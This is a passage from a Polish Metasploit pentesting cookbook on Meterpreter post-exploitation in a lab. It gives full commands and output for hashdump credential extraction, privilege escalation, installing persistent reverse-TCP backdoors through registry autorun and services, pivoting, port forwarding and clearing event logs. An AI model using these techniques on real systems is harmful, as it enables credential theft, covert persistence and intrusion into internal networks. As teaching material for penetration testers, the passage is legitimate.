Jak to wykonać Skrypt scraper po uruchomieniu wykonuje wszystkie zadania automatycznie. Tworzy katalog /root/.msf4/logs/scripts/scraper, w którym zapisywane są wszystkie pliki. Podczas wykonywania
243
Metasploit. Receptury pentestera
skryptu może wystąpić błąd spowodowany niepowodzeniem wykonania jakiegoś polecenia na maszynie docelowej (listing został skrócony dla celów przykładu): meterpreter > run scraper [*] New session on 192.168.56.1:4232... [*] Gathering basic system information... [*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect. [*] Obtaining the entire registry... [*] Exporting HKCU [*] Downloading HKCU (C:\Users\DARKLORD\AppData\Local\Temp\UKWKdpIb.reg)
Skrypt automatycznie pobiera i zapisuje informacje w folderze docelowym. Przyjrzyjmy się kodowi źródłowemu, aby sprawdzić, czy możemy wprowadzić jakieś zmiany według naszych potrzeb.
Jak to działa Kod źródłowy skryptu scraper.rb można znaleźć w katalogu /opt/metasploit/msf3/scripts/ meterpreter. Doświadczenie w programowaniu w języku Ruby może okazać się pomocne w edycji skryptu i dodawaniu własnych funkcji. Lokalizację zapisywania pobieranych danych można zmienić, edytując poniższy wiersz kodu: logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000)) )
Załóżmy, że chcesz, aby skrypt pobierał również listę dostępnych procesów. W tym celu w głównej części skryptu dodaj po prostu następujący fragment kodu: ::File.open(File.join(logs, "process.txt"), "w") do |fd| fd.puts(m_exec(client, "tasklist")) end
Korzystając z języka Ruby oraz kodu wielokrotnego użytku, możesz łatwo dostosować skrypt do swoich potrzeb.
Zobacz również Poznajmy kolejny skrypt Meterpretera, który może być wykorzystany do zbierania informacji z maszyny docelowej.
244
Rozdział 10. • Korzystanie z Meterpretera
Korzystanie ze skryptu winenum.rb Skrypt winenum.rb jest kolejnym skryptem Meterpretera, który może pomóc w zbieraniu informacji na temat systemu docelowego i umożliwić zapisanie tych informacji lokalnie. Działa podobnie do skryptu scraper.rb. Możesz go wypróbować, aby zobaczyć, jakie dodatkowe informacje dostarcza. Skrypt winenum.rb znajdziesz w folderze /opt/metasploit/msf3/scripts/meterpreter.
Technika pass the hash Technika pass the hash (podaj skrót), zwana inaczej techniką hashdump (zrzut skrótu), polega na wydobywaniu plików skrótów logowania do systemu Windows. Skrypt hashdump Meterpretera wydobywa i zrzuca do pliku skróty haseł z maszyny docelowej. Skróty mogą być wykorzystywane do łamania haseł logowania i uzyskania dla dalszych testów autoryzowanego dostępu do innych systemów w danej sieci LAN. W tej recepturze omówimy technikę podawania skrótów.
Przygotuj się Zanim zaczniemy, omówmy najpierw kwestię haseł w systemie Windows oraz format ich przechowywania. Kiedy wpisujesz hasło w ekranie logowania systemu Windows, jest ono szyfrowane za pomocą schematu, który przekształca je do postaci takiej, jak np. 7524248b4d2c9a9eadd3b435c51404ee. Jest to skrót hasła. Kiedy wpisujesz hasło, jest ono weryfikowane na podstawie tego skrótu. Wpisywane znaki są szyfrowane i porównywane z tym, co zostało zapisane w rejestrze i (lub) pliku SAM. Plik SAM przechowuje skróty nazw użytkowników i haseł dla każdego konta na lokalnej maszynie lub domenie, jeśli jest ona kontrolerem domeny. Plik ten można znaleźć w folderze %systemroot%system32config. Kiedy maszyna jest uruchomiona, folder ten jest jednak zablokowany dla wszystkich kont, w tym również dla konta administratora. Jedynym kontem, które podczas działania systemu ma dostęp do pliku SAM, jest konto System. Pamiętaj więc, że kiedy będziesz próbował wykonać zrzut skrótów, będziesz potrzebował poszerzonych uprawnień. Skróty są zupełnie nieczytelne, ponieważ są zaszyfrowane. Aby zapewnić uwierzytelnianie, system Windows wykorzystuje protokół kryptograficzny NTLM (ang. NT LAN Manager). Jest on następcą protokołu LM, który był wykorzystywany w starszych wersjach systemu Windows.
245
Metasploit. Receptury pentestera
Do rozkodowania zrzuconych skrótów wymagany jest deszyfrator NTLM/LM. Oferują go różne narzędzia. Niektóre z nich wykorzystują technikę brute force (np. John the Ripper oraz pwdump), podczas gdy inne stosują tęczowe tablice (np. rainbow crack).
Jak to wykonać Rozpoczniemy pracę z aktywną sesją Meterpretera. Zakładam, że przeprowadziłeś już penetrację systemu docelowego i uruchomiłeś sesję. Więcej informacji na temat łamania zabezpieczeń maszyny docelowej z systemem Windows znajdziesz w rozdziale 4. Korzystanie ze wspomnianego wcześniej skryptu jest proste i oczywiste. Sprawdźmy najpierw poziom uprawnień na maszynie docelowej. Aby wydobyć skróty haseł, potrzebujemy uprawnień użytkownika System. W celu sprawdzenia poziomu uprawnień skorzystamy z polecenia getuid. Aby zwiększyć poziom uprawnień, zastosujemy polecenie getsystem: meterpreter > getuid Server username: DARKLORD-PC\DARKLORD meterpreter > getsystem ...got system (via technique 4). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Jak to działa Mamy już odpowiednie uprawnienia na maszynie docelowej, więc możemy przejść do wykonania skryptu hashdump: meterpreter > run hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 78e1241e98c23002bc85fd94c146309d... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes... Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7 e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DARKLORD:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb1228 3678:::
Jak widać w powyższym listingu, skrypt z powodzeniem wydobył skróty haseł z pliku SAM. Teraz możemy rozszyfrować skróty za pomocą różnych narzędzi. Możemy skorzystać z takich narzędzi, jak John the Ripper, pwdump, rainbow crack itd.
246
Rozdział 10. • Korzystanie z Meterpretera
Zobacz również Poza wspomnianymi już narzędziami, możemy również skorzystać z alternatywnej metody rozszyfrowywania skrótów haseł.
Rozszyfrowywanie haseł w trybie online Istnieje bardzo popularna strona internetowa, która pozwala rozszyfrowywać skróty NTLM/LM: http://www.md5decrypter.co.uk. Porównuje ona wprowadzone skróty haseł z rekordami zapisanymi w obszernej bazie danych i w ten sposób znajduje hasła. Jest to skuteczna i szybka technika łamania prostych, słabych haseł. Na poniższym rysunku przedstawiono rezultat rozkodowania prostego skrótu, który udało nam się wcześniej wydobyć:
Jak widać na powyższym rysunku, znaleziony został odpowiednik wprowadzonego skrótu, a odpowiadające mu hasło to 123. Należy zauważyć, że łamanie haseł zależy całkowicie od tego, jak złożone one są. Słabe hasło można złamać dość łatwo w porównaniu z silnym. Złożone hasła generują skróty, których nie znajdziesz w bazie danych online. W takich przypadkach zastosuj narzędzia wykorzystujące tęczowe tablice. Więcej informacji na ten temat znajdziesz na stronie http://bernardodamele. blogspot.com/2011/12/dump-windows-password-hashes.html.
Ustanawianie trwałego połączenia za pomocą backdoorów W tej recepturze omówimy skuteczną technikę eksploatacji, która umożliwia ustanowienie trwałego połączenia z celem, dzięki czemu będziemy mogli korzystać z niego w dowolnym momencie. Ponieważ zarówno maszyna atakująca, jak i maszyna docelowa nie zawsze są dostępne, wykorzystanie backdoorów może być skutecznym sposobem ustanawiania trwałego połączenia.
247
Metasploit. Receptury pentestera
Przygotuj się Meterpreter oferuje dwa skrypty, które umożliwiają zastosowanie backdoorów. Są to metsvc i persistence. Działanie obydwu skryptów jest podobne. Wypróbujmy je kolejno. Obydwa skrypty tworzą w systemie docelowym pliki, które mogą wywołać alarm oprogramowania antywirusowego. Zalecane jest więc wyłączenie ochrony antywirusowej przed uruchomieniem tych skryptów.
Jak to wykonać Skrypt metsvc tworzy na maszynie docelowej tymczasowe pliki (np. biblioteki DLL), serwer backdoorów oraz określoną usługę. Może również uruchomić wszechstronną procedurę obsługi połączenia (multi/handler), aby automatycznie nawiązać ponownie połączenie z backdoorem. W tym celu stosowany jest parametr –A. Uruchommy nasz skrypt na maszynie docelowej z systemem Windows 7 i przeanalizujmy wyniki: meterpreter > run metsvc -h OPTIONS: -A Automatically start a matching multi/handler to connect to the service -h This help menu -r Uninstall an existing Meterpreter service (files must be deleted manually) meterpreter > run metsvc –A [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\Users\DARKLORD\AppData\Local\Temp\ygLFhIFX... [*] >> Uploading metsrv.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... * Installing service metsvc * Starting service Service metsvc successfully installed.
Po udanym załadowaniu plików backdoora automatycznie nawiązane zostanie połączenie zwrotne z procedurą obsługi na porcie 31337. Za pomocą tego backdoora możemy w dowolnym momencie łatwo łączyć się z maszyną docelową. Kolejnym użytecznym skryptem wykorzystującym backdoora jest persistence. Działa podobnie do metsvc, ale ma kilka dodatkowych funkcji, takich jak łączenie z celem w regularnych interwałach, nawiązywanie połączenia podczas bootowania systemu, autouruchamianie itd. Zobaczmy, jakie opcje dostępne są dla tego skryptu:
248
Rozdział 10. • Korzystanie z Meterpretera
meterpreter > run persistence –h Meterpreter Script for creating a persistent backdoor on a target host. OPTIONS: -A -L
Automatically start a matching multi/handler to... Location in target host where to write payload to... Payload to use, default is... Automatically start the agent on boot as a service... Alternate executable template to use Automatically start the agent when the User logs on Automatically start the agent when the system boots This help menu The interval in seconds between each connection ... The port on the remote host where Metasploit... The IP of the system running Metasploit listening...
Jak widać, w porównaniu ze skryptem metsvc mamy kilka dodatkowych opcji. Wykonajmy ten skrypt z różnymi parametrami, zgodnie z naszymi potrzebami: meterpreter > run persistence -A -S -U -i 60 -p 4321 –r 192.168.56.101 [*] Running Persistance Script [*] Resource file for cleanup created at /root/.msf4/logs/persistence/DARKLORDPC_20111227.0307/DARKLORDPC_20111227.0307.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4321 [*] Persistent agent script is 610795 bytes long [+] Persistent Script written to C:\Users\DARKLORD\AppData\Local\Temp\LHGtjzB.vbs [*] Starting connection handler at port 4321 for windows/meterpreter/reverse_tcp [+] Multi/Handler started! [*] Executing script C:\Users\DARKLORD\AppData\Local\Temp\LHGtjzB.vbs [+] Agent executed with PID 5712 [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DBDalcOoYlqJSi [+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DBDalcOoYlqJSi [*] Installing as service.. [*] Creating service cpvPbOfXj
Jak to działa Zwróć uwagę na różne parametry zastosowane do skryptu. Parametr –A automatycznie uruchamia nasłuchiwacz na maszynie atakującej. Operator –S powoduje, że backdoor jest ładowany przy każdym uruchomieniu systemu Windows. Operator –U wykonuje backdoora za każdym razem, kiedy użytkownik loguje się do systemu. Operator –i ustawia interwał, po którym backdoor
249
Metasploit. Receptury pentestera
będzie próbował połączyć się ponownie z agentem obsługi połączenia (ang. agent handler). Parametr –p określa numer portu, a parametr –r adres IP maszyny docelowej. Dane wynikowe z wykonania skryptu również zawierają nieco użytecznych informacji. Skrypt utworzył plik zasobu dla procedury sprzątania, będziesz więc mógł usunąć backdoora po jego wykorzystaniu. Utworzony został plik .vbs w folderze temp na maszynie docelowej. Został również utworzony wpis w rejestrze, który powoduje automatyczne ładowanie backdoora przy każdym uruchomieniu systemu Windows. Określiliśmy 60-sekundowy interwał dla łączenia się backdoora z agentem obsługi połączenia. Po udanym wykonaniu skryptu zobaczysz, że co 60 sekund na maszynie docelowej uruchamiana będzie automatycznie sesja Meterpretera. Ta krótka demonstracja pokazuje, w jaki sposób możemy ustanowić trwałe połączenie z maszyną docelową. Możesz wypróbować różne scenariusze z wykorzystaniem obu skryptów i przeanalizować ich działanie. W kolejnej recepturze skoncentrujemy się na kolejnej ciekawej koncepcji, jaką jest pivoting.
Pivoting z wykorzystaniem Meterpretera Do tej pory omówiliśmy większość głównych poleceń i skryptów Meterpretera. Mogłeś zauważyć, jak wszechstronny może być Meterpreter w fazie poeksploatacyjnej. W tej recepturze omówimy jedną z najciekawszych koncepcji i jednocześnie moją ulubioną. Jest to metoda zwana pivotingiem. Przejdźmy do receptury, żebyś mógł lepiej zrozumieć znaczenie tego pojęcia, dowiedzieć się, do czego służy pivoting oraz w jaki sposób framework Metasploit może być użyteczny przy pivotingu.
Przygotuj się Na początek omówmy szczegółowo, na czym polega pivoting. Odnosi się on do stosowanej przez pentesterów metody, która wykorzystuje przejęty system do zaatakowania innych systemów znajdujących się w tej samej sieci. Jest to atak wielowarstwowy, w którym możemy uzyskać dostęp nawet do tych obszarów sieci, które są dostępne tylko dla lokalnego użytku wewnętrznego, takiego jak intranet. Przeanalizuj przykład przedstawiony na rysunku na następnej stronie. Atakujący może przejąć zewnętrzne węzły sieci, które są podłączone do internetu. Są one następnie podłączone do firewalla. Za firewallem znajduje się główny serwer. Ponieważ atakujący nie ma dostępu do serwera, może użyć wspomnianych węzłów, aby ten dostęp uzyskać. Jeśli uda mu się przejąć węzeł, będzie mógł dalej spenetrować sieć i dotrzeć również do serwera. Jest to typowy scenariusz, w którym wykorzystywany jest pivoting. Linie na powyższym rysunku pokazują ścieżkę pivotowania pomiędzy atakującym a serwerem. Ścieżka przechodzi przez przejęty węzeł.
250
Rozdział 10. • Korzystanie z Meterpretera
Jak to wykonać Zobaczmy, jak można wdrożyć omówiony scenariusz, wykorzystując Meterpreter. W tym przykładzie węzłem docelowym jest maszyna z systemem Windows 7, która jest podłączona do sieci. Na serwerze zainstalowany jest system operacyjny Windows 2003. Węzeł został przejęty za pomocą ataku client-side na przeglądarkę i mamy ustanowione aktywne połączenie Meterpretera. Zacznijmy od wykonania na węźle docelowym polecenia ipconfig, aby sprawdzić dostępne interfejsy: meterpreter > ipconfig Interface 1 Hardware MAC: 00:00:00:00:00:00 IP Address: 10.0.2.15 Netmask : 255.255.255.0 VirtualBox Host-Only Ethernet Adapter Hardware MAC: 08:00:27:00:8c:6c IP Address : 192.168.56.1 Netmask : 255.255.255.0
Jak widać w powyższym listingu, węzeł docelowy posiada dwa interfejsy. Jeden z nich ma adres IP 192.168.56.1 i jest podłączony do internetu. Drugi ma adres 10.0.2.15 i stanowi interfejs IP dla sieci wewnętrznej. Kolejnym zadaniem jest znalezienie dostępnych systemów w tej sieci lokalnej. W tym celu skorzystamy ze skryptu Meterpretera o nazwie arp_scanner. Wykona on skanowanie ARP w sieci wewnętrznej, aby odnaleźć pozostałe dostępne systemy: meterpreter > run arp_scanner -r 10.0.2.1/24 [*] ARP Scanning 10.0.2.1/24 [*] IP: 10.0.2.7 MAC 8:26:18:41:fb:33 [*] IP: 10.0.2.9 MAC 41:41:41:41:41:41
251
Metasploit. Receptury pentestera
Skrypt wykrył w tej sieci dwa dostępne adresy IP. Wybierzmy pierwszy z nich i wykonajmy na nim pivoting.
Jak to działa Aby uzyskać dostęp do systemu (który jest serwerem) o adresie IP 10.0.2.7, będziemy musieli skierować wszystkie pakiety przez adres IP 10.0.2.15, który należy do węzła docelowego. W tym celu zastosujemy polecenie route, które omawialiśmy już wcześniej. Aby użyć tego polecenia, skonfigurujemy działanie sesji Meterpretera w tle: meterpreter > background msf exploit(handler) > route add 10.0.2.15 255.255.255.0 1 [*] Route added msf exploit(handler) > route print Active Routing Table ==================== Subnet Netmask -----------10.0.2.15 255.255.255.0
Gateway ------Session 1
Zwróć uwagę na parametry polecenia route. Parametr add dodaje szczegółowe informacje do tabeli routingu. Następnie podajemy adres IP węzła docelowego i domyślną bramę. Na koniec podajemy identyfikator bieżącej aktywnej sesji Meterpretera, czyli 1. Polecenie route print wyświetla tabelę, z której jasno wynika, że cały ruch w tej sieci będzie teraz przechodził przez sesję Meterpretera oznaczoną jako session 1. Możesz teraz wykonać szybkie skanowanie portów dla adresu IP 10.0.2.7. Wcześniej był on dla nas nieosiągalny, ale skierowaliśmy wszystkie pakiety przez węzeł docelowy, więc możemy łatwo znaleźć otwarte porty i uruchomione usługi. Gdy już odkryjemy, że mamy do czynienia z serwerem Windows 2003, możemy skorzystać z exploita exploit/windows/smb/ms08_067_netapi lub innego dowolnego exploita tego systemu operacyjnego, aby złamać zabezpieczenia serwera i uzyskać dostęp do jego usług.
Przekierowanie portów za pomocą Meterpretera Rozważania na temat pivotingu nigdy nie będą kompletne bez wzmianki o przekierowywaniu portów. W tej recepturze będziemy kontynuować omawianie zagadnienia z poprzedniej receptury i zobaczymy, w jaki sposób możemy przekierować porty dla danych i żądań wysyłanych z maszyny atakującej do serwera sieci wewnętrznej poprzez węzeł docelowy. Należy zauważyć, że można użyć przekierowania portów w celu uzyskania dostępu do różnych usług wewnętrznego serwera, ale do jego eksploatacji będziemy musieli wykorzystać metodę omówioną w poprzedniej recepturze.
252
Rozdział 10. • Korzystanie z Meterpretera
Przygotuj się Rozpoczniemy od tego samego scenariusza, co poprzednio. Przejęliśmy węzeł docelowy z systemem Windows 7 i dodaliśmy trasę, która przekierowuje przez sesje Meterpretera wszystkie pakiety danych wysyłane w danej sieci. Przyjrzyjmy się tabeli routingu: msf exploit(handler) > route print Active Routing Table ==================== Subnet Netmask -----------10.0.2.15 255.255.255.0
Gateway ------Session 1
Tabela jest odpowiednio skonfigurowana. Musimy teraz przekierować porty, aby nasze żądania docierały do wewnętrznego serwera.
Jak to wykonać Załóżmy, że na wewnętrznym serwerze uruchomiona jest usługa na porcie 80 i chcemy uzyskać do niej dostęp, stosując przekierowanie portów. Musimy w tym celu zastosować polecenie portfwd. Sprawdźmy dostępne opcje dla tego polecenia, a potem użyjmy odpowiednich wartości: meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L
The local host to listen on (optional). Help banner. The local port to listen on. The remote port to connect to. The remote host to connect to.
meterpreter > portfwd add -l 4321 -p 80 -r 10.0.2.7 [*] Local TCP relay created: 0.0.0.0:4321 <-> 10.0.2.7:80
Udane wykonanie polecenia pokazuje lokalną konfigurację TCP relay pomiędzy atakującym a wewnętrznym serwerem. Port nasłuchiwacza na maszynie atakującej to 4321, a usługa, do której chcemy uzyskać dostęp, działa na porcie 80 wewnętrznego serwera. Ponieważ skonfigurowaliśmy już trasę, cały proces przekazywania pakietów jest transparentny. Teraz, kiedy będziemy chcieli uzyskać dostęp do wewnętrznego serwera poprzez wpisanie w przeglądarce adresu http://10.0.2.7:80, zostaniemy przekierowani do usługi intranetowej HTTP w wewnętrznej sieci.
253
Metasploit. Receptury pentestera
Przekierowanie portów może być bardzo poręczne w sytuacjach, gdy musisz uruchomić polecenia lub aplikacje, których nie oferuje Metasploit. W takim przypadku możesz ułatwić sobie zadanie, stosując przekierowanie portów. To była krótka demonstracja działania funkcji przekierowania portów. W kolejnej recepturze zajmiemy się programowaniem w języku Ruby w celu tworzenia własnych skryptów Meterpretera.
Jak to działa Przekierowanie portów wykorzystuje prostą koncepcję świadczenia usługi o ograniczonym zakresie z niezabezpieczonej lokalizacji lub sieci. Jako medium komunikacyjne pomiędzy niezabezpieczoną i zabezpieczoną siecią wykorzystać można uwierzytelniony lub niezawodny system (lub oprogramowanie). Omawialiśmy już proste przekierowanie portów w rozdziale 1., kiedy zajmowaliśmy się konfiguracją frameworku Metasploit na wirtualnej maszynie i połączeniem jej z systemem operacyjnym hosta za pomocą aplikacji PuTTY.
Powyższy rysunek ilustruje na prostym przykładzie proces przekierowania portów. Zewnętrzne źródło chce uzyskać dostęp do serwera IRC działającego na porcie 6667, ale firewall blokuje wszelkie próby uzyskania z zewnątrz dostępu do tego portu (górna część rysunku). Zewnętrzne
254
Rozdział 10. • Korzystanie z Meterpretera
źródło łączy się więc z serwerem SSH (np. PuTTY) działającym na porcie 22, który nie jest blokowany przez firewall. Zapewnia to obejście firewalla dla zewnętrznego źródła, które może teraz uzyskać dostęp do serwera IRC poprzez przekierowanie portu 22 na port 6667. Dlatego jako rezultat przekierowania portów tworzony jest tunel dostępowy (dolna część rysunku).
Interfejs API i domieszki Meterpretera W poprzednich dwóch rozdziałach szeroko omawialiśmy zastosowanie Meterpretera jako potencjalnego narzędzia fazy poeksploatacyjnej. Rozumiesz już, jak istotną rolę odgrywa Meterpreter w ułatwieniu i przyspieszeniu zadania penetracji. Poczynając od tej receptury, zajmiemy się zaawansowanymi koncepcjami związanymi z Meterpreterem. Przeanalizujemy dokładniej rdzeń frameworku Metasploit, aby zrozumieć funkcjonowanie skryptów Meterpretera i zobaczyć, jak można budować własne skrypty. Z punktu widzenia pentestera istotne jest poznanie sposobu implementacji technik pisania skryptów, aby móc dostosowywać się do różnych scenariuszy. W niektórych sytuacjach Meterpreter może okazać się niewystarczający do wykonania określonych zadań. Nie można więc spocząć na laurach. W takich przypadkach pomocne okazuje się pisanie własnych skryptów i modułów. Przejdźmy teraz do głównej części receptury i omówmy interfejs API Meterpretera oraz niektóre istotne domieszki. W kolejnych recepturach zajmiemy się pisaniem kodu własnych skryptów.
Przygotuj się Interfejs API Meterpretera może pomóc programistom w implementowaniu własnych skryptów podczas wykonywania testów penetracyjnych. Podobnie jak cały framework Metasploit, jest on napisany w języku Ruby, więc znajomość tego języka może poszerzyć Twoje doświadczenie w pracy z Metasploit. Skryptami języka Ruby będziemy zajmować się w kilku kolejnych recepturach, więc pewne doświadczenie w programowaniu w tym języku będzie wymagane. Nawet jeśli posiadasz jedynie podstawową wiedzę na temat języka Ruby oraz innych języków skryptowych, łatwiej będzie Ci zrozumieć różne koncepcje.
Jak to wykonać Najpierw uruchommy interaktywną powłokę Ruby w Meterpreterze. Zakładam, że przeprowadziłeś eksploatację maszyny docelowej (Windows 7) i masz uruchomioną aktywną sesję Meterpretera. Powłokę Ruby można uruchomić za pomocą polecenia irb: meterpreter > irb [*] Starting IRB shell [*] The 'client' variable holds the meterpreter client
255
Metasploit. Receptury pentestera
Jesteśmy już w powłoce Ruby i możemy wykonywać skrypty w tym języku. Zacznijmy od prostego działania dodawania dwóch liczb: >> 2+2 => 4
Nasza powłoka działa poprawnie i prawidłowo interpretuje instrukcje. Wykonajmy teraz bardziej złożoną operację. Utwórzmy skrót i zapiszmy w nim wartości wraz z kluczami. Potem usuniemy wartości warunkowo. Skrypt wygląda następująco: x = { "a" => 100, "b" => 20 } x.delete_if { |key, value| value < 25 } print x.inspect
Jest to prosty do zrozumienia skrypt. W pierwszym wierszu tworzymy klucze ( a i b) i przypisujemy im wartości. Następnie w kolejnym wierszu dodajemy warunek usuwający każdy element skrótu, którego wartość jest mniejsza niż 25.
Jak to działa Przyjrzyjmy się wywołaniom API typu print, które mogą być użyteczne podczas pisania skryptów Meterpretera: Wywołanie print_line("komunikat") powoduje wyświetlenie podanej wiadomości i dodaje na końcu powrót karetki. Wywołanie print_status("komunikat") jest najczęściej wykorzystywanym wywołaniem w języku skryptowym. Zapewnia ono powrót karetki i wyświetlenie statusu wykonywanego zadania z prefiksem [*]: >> print_status("HackingAlert") [*] HackingAlert => nil Wywołanie print_good("komunikat") jest stosowane do przedstawienia rezultatów dowolnej operacji. Komunikat jest wyświetlany z prefiksem [+], który wskazuje,
że działanie się powiodło: >> print_good("HackingAlert") [+] HackingAlert => nil Wywołanie print_error("komunikat") jest stosowane do wyświetlenia komunikatu
o błędzie, który mógł wystąpić podczas wykonywania skryptu. Komunikat jest wyświetlany z prefiksem [-]: >> print_error("HackingAlert") [-] HackingAlert => nil
256
Rozdział 10. • Korzystanie z Meterpretera
Omówiliśmy różne wywołania print, ponieważ są one szeroko wykorzystywane w odpowiednich sytuacjach podczas pisania skryptów Meterpretera. Dokumentację dotyczącą interfejsu API Meterpretera znajdziesz w folderze /opt/metasploit/msf3/documentation. Zapoznaj się z nią, aby lepiej zrozumieć działanie tego interfejsu. Możesz również zajrzeć do katalogu /opt/metasploit/msf3/lib/rex/post/meterpreter, w którym znajdziesz wiele skryptów związanych z interfejsem API Meterpretera. W tych skryptach znajdziesz różne polecenia rdzenia Meterpretera, interakcji z pulpitem, uprzywilejowanych operacji itd. Zapoznaj się z nimi, aby dowiedzieć się, w jaki sposób Meterpreter działa w przejętym systemie operacyjnym.
Zobacz również Domieszki Meterpretera są wywołaniami IRB charakterystycznymi dla frameworku Metasploit. Wywołania te nie są dostępne w powłoce IRB, ale mogą być używane do reprezentowania najbardziej typowych zadań podczas pisania skryptów Meterpretera. Mogą uprościć czynność pisania tych skryptów. Przyjrzyjmy się niektórym użytecznym domieszkom: Domieszka cmd_exec(polecenie) wykonuje wskazane polecenie jako ukryte i podzielone na kanały. Wynik wykonania polecenia jest dostarczany w postaci wielowierszowego ciągu znaków. Domieszka eventlog_clear(evt = "") usuwa wskazany dziennik zdarzeń lub w przypadku niewskazania konkretnego dziennika usuwa wszystkie. Zwraca tablicę wyczyszczonych dzienników zdarzeń. Domieszka eventlog_list() enumeruje dzienniki zdarzeń i zwraca tablicę zawierającą nazwy tych dzienników. Domieszka file_local_write(plik_do_zapisu, dane_do_zapisu) zapisuje dany ciąg znaków w określonym pliku. Domieszka is_admin?() określa, czy użytkownik jest administratorem, czy nie. Jeśli użytkownik jest administratorem, zwraca wartość true (prawda). W przeciwnym razie zwraca wartość false (fałsz). Domieszka is_uac_enabled?() określa, czy w systemie włączona jest kontrola
konta użytkownika (ang. User Account Control — UAC). Domieszka registry_createkey(klucz) tworzy określony klucz rejestru i w przypadku powodzenia operacji zwraca wartość true. Domieszka registry_deleteval(klucz, nazwa_wartości) usuwa wpis rejestru dla danego klucza i nazwy wartości. Zwraca wartość true w przypadku powodzenia
operacji. Domieszka registry_delkey(klucz) usuwa podany klucz rejestru i w przypadku powodzenia operacji zwraca wartość true. Domieszka registry_enumkeys(klucz) enumeruje podklucze rejestru dla podanego
klucza i zwraca tablicę podkluczy.
257
Metasploit. Receptury pentestera
Domieszka registry_enumvals(klucz) enumeruje wartości dla podanego klucza
rejestru i zwraca tablicę nazw wartości. Domieszka registry_getvaldata(klucz, nazwa_wartości) zwraca dane dla wskazanego klucza rejestru i jego wartość. Domieszka service_create (nazwa, nazwa_wyświetlana, plik_wykonywalny_na_hoście,startup=2) jest wykorzystywana do tworzenia usługi, która uruchamia swój własny proces. Parametry tego wywołania to nazwa usługi (w postaci string), nazwa wyświetlana (w postaci string), ścieżka do pliku wykonywalnego, który będzie uruchamiany na hoście przy rozruchu (w postaci string), oraz tryb uruchamiania (w postaci integer). Tryb uruchamiania może przyjmować wartości 2 dla Auto, 3 dla Manual lub 4 dla Disable. Domieszka service_delete(nazwa) jest wykorzystywana do usuwania usługi
poprzez usunięcie klucza w rejestrze. Domieszka service_info(nazwa) pobiera informacje o usłudze systemu Windows. Informacja jest zwracana w postaci tablicy asocjacyjnej z wyświetlaną nazwą, trybem uruchamiania oraz poleceniem uruchamianym przez usługę. W nazwie usługi rozróżniane są małe i wielkie litery. Klucze tablicy to Name (nazwa), Start (uruchamianie), Command (polecenie) oraz Credentials (poświadczenia). Domieszka service_list() pobiera listę wszystkich usług obecnych w systemie
Windows. Zwraca tablicę zawierającą nazwy usług. Domieszka service_start(nazwa) jest wykorzystywana do uruchamiania wskazanej usługi. Zwraca wartość 0, jeśli usługa zostanie uruchomiona, wartość 1, jeśli usługa była już uruchomiona, lub wartość 2, jeśli usługa jest wyłączona. Domieszka service_stop(nazwa) jest wykorzystywana do zatrzymywania wskazanej usługi. Zwraca wartość 0, jeśli usługa zostanie zatrzymana, wartość 1, jeśli usługa została zatrzymana wcześniej lub wyłączona, lub wartość 2, jeśli usługa nie może
być zatrzymana. Powyższe zestawienie opisuje w skrócie niektóre z ważniejszych domieszek Meterpretera. Korzystanie z nich może zmniejszyć złożoność skryptów. Omówimy ich zastosowanie w kilku kolejnych recepturach, w których będziemy tworzyć i analizować skrypty Meterpretera. Interfejs API Meterpretera tworzy po prostu miniinterpreter języka Ruby, który rozumie i interpretuje instrukcje tego języka. Główną zaletą korzystania z interfejsu API jest elastyczność wykonywania własnych operacji. Nie istnieją jednak polecenia dla wszystkich operacji. W niektórych sytuacjach do wykonania naszego zadania możemy potrzebować określonego skryptu. Wtedy właśnie przydaje się interfejs API.
258
Rozdział 10. • Korzystanie z Meterpretera
Dodatek Railgun, czyli Ruby jako broń W poprzedniej recepturze poznaliśmy zastosowanie interfejsu API Meterptetera do uruchamiania skryptów Ruby. Wykroczmy nieco naprzód. Załóżmy, że chcemy przeprowadzić zdalne wywołania API na maszynie ofiary. Jaka będzie najprostsza metoda? Oczywistą odpowiedzią jest zastosowanie dodatku Railgun. Jest on rozszerzeniem Meterpretera, które umożliwia atakującemu bezpośrednie wywoływanie funkcji DLL. Najczęściej jest wykorzystywany do wywołań API systemu Windows, ale możemy wywołać dowolną funkcję biblioteki DLL na maszynie ofiary.
Przygotuj się Aby rozpocząć korzystanie z dodatku Railgun, będziemy potrzebować aktywnej sesji Meterpretera na maszynie docelowej. W celu uruchomienia interpretera Ruby zastosujemy polecenie irb w sposób opisany w poprzedniej recepturze: meterpreter>irb >>
Jak to wykonać Zanim przejdziemy do wywoływania bibliotek DLL, zobaczmy najpierw, co należy zrobić, aby jak najlepiej wykorzystać dodatek Railgun: 1. Określ funkcję (lub funkcje), którą chcesz wywołać. 2. Zlokalizuj tę funkcję na stronie http://msdn.microsoft.com/enus/library/aa383749(v=vs.85).aspx. 3. Sprawdź bibliotekę DLL, w której dana funkcja jest zlokalizowana (np. kernel32.dll). 4. Wybraną funkcję biblioteki można wywołać za pomocą polecenia client.railgun.nazwa_biblioteki_dll.nazwa_funkcji(arg1, arg2, ...).
Do identyfikacji użytecznych bibliotek DLL i funkcji, które mają być wywołane na maszynie docelowej, można wykorzystać bibliotekę MSDN systemu Windows. Wywołajmy prostą funkcję IsUserAnAdmin biblioteki shell32.dll i przeanalizujmy uzyskany wynik: >> client.railgun.shell32.IsUserAnAdmin => {"GetLastError"=>0, "return"=>false}
